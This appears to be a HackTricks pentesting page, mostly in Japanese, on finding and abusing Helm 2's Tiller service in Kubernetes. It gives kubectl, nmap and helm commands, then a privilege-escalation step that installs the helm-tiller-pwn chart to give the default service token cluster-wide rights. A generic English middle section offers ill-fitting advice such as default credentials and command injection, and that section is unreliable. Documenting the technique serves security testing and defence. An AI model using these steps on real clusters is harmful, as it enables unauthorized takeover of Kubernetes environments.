9.6 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
基本情報
HelmはKubernetesのパッケージマネージャーです。YAMLファイルをパッケージ化し、公開およびプライベートリポジトリで配布することができます。これらのパッケージはHelm Chartsと呼ばれます。Tillerは、デフォルトでポート44134で実行されるサービスです。
デフォルトポート: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
列挙
異なる名前空間のポッドと/またはサービスを列挙できる場合は、それらを列挙し、「tiller」という名前を持つものを検索します。
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Examples:
Enumeration
Discovering Tiller
Tiller is the server-side component of Helm, a package manager for Kubernetes. To find the Tiller service, you can use the following methods:
-
Port Scanning: Use tools like Nmap to scan for open ports on the target system. Look for port 44134, which is the default port used by Tiller.
-
DNS Enumeration: Use tools like Dig or NSLookup to query the DNS records of the target domain. Look for any subdomains or hostnames related to Tiller, such as
tiller.example.com
. -
Web Application Scanning: If the target has a web application that interacts with Tiller, you can use web vulnerability scanners like OWASP ZAP or Burp Suite to discover any exposed Tiller endpoints.
Enumerating Tiller Endpoints
Once you have discovered the Tiller service, you can enumerate its endpoints to gather more information about its configuration and potential vulnerabilities. Here are some techniques you can use:
-
Port Scanning: Use tools like Nmap or Masscan to scan for open ports on the Tiller service. Look for commonly used ports like 80, 443, or 8080, which may indicate additional web interfaces or APIs.
-
Banner Grabbing: Use tools like Telnet or Netcat to connect to the Tiller service and retrieve its banner. The banner may contain valuable information about the service version or any custom configurations.
-
HTTP Requests: Send HTTP requests to the Tiller service and analyze the responses. Look for any exposed endpoints, API documentation, or error messages that may reveal potential vulnerabilities.
Exploitation
Exploiting Tiller
Once you have identified potential vulnerabilities in the Tiller service, you can proceed with exploitation. Here are some common techniques:
-
Default Credentials: Check if the Tiller service is using default or weak credentials. Use common username and password combinations like
admin/admin
orroot/password
to attempt unauthorized access. -
Command Injection: If the Tiller service allows user input, try injecting malicious commands to execute arbitrary code on the server. Look for input fields or parameters that are not properly sanitized or validated.
-
Remote Code Execution: Exploit any known vulnerabilities in the Tiller service to execute remote code on the server. Look for public exploits or security advisories related to the specific version of Tiller you are targeting.
Remember to always obtain proper authorization before performing any exploitation activities. Unauthorized access or unauthorized use of exploits can lead to legal consequences.
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
このサービスが実行されているかどうかを確認するために、ポート44134をチェックしてみることもできます。
sudo nmap -sS -p 44134 <IP>
発見したら、クライアントhelmアプリケーションをダウンロードしてそれと通信することができます。homebrew
のようなツールを使用するか、公式リリースページを参照してください。詳細や他のオプションについては、インストールガイドを参照してください。
次に、サービスを列挙することができます:
helm --host tiller-deploy.kube-system:44134 version
特権昇格
デフォルトでは、Helm2はkube-systemの名前空間に高い特権でインストールされています。したがって、サービスを見つけてアクセスできる場合、これにより特権を昇格することができます。
次のようなパッケージをインストールするだけです: https://github.com/Ruil1n/helm-tiller-pwn これにより、デフォルトのサービストークンがクラスタ全体のすべてにアクセスできるようになります。
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
http://rui0.cn/archives/1573には攻撃の説明がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内のclusterrole.yamlとclusterrolebinding.yamlのファイルを読むと、すべての権限がデフォルトトークンに与えられていることがわかります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。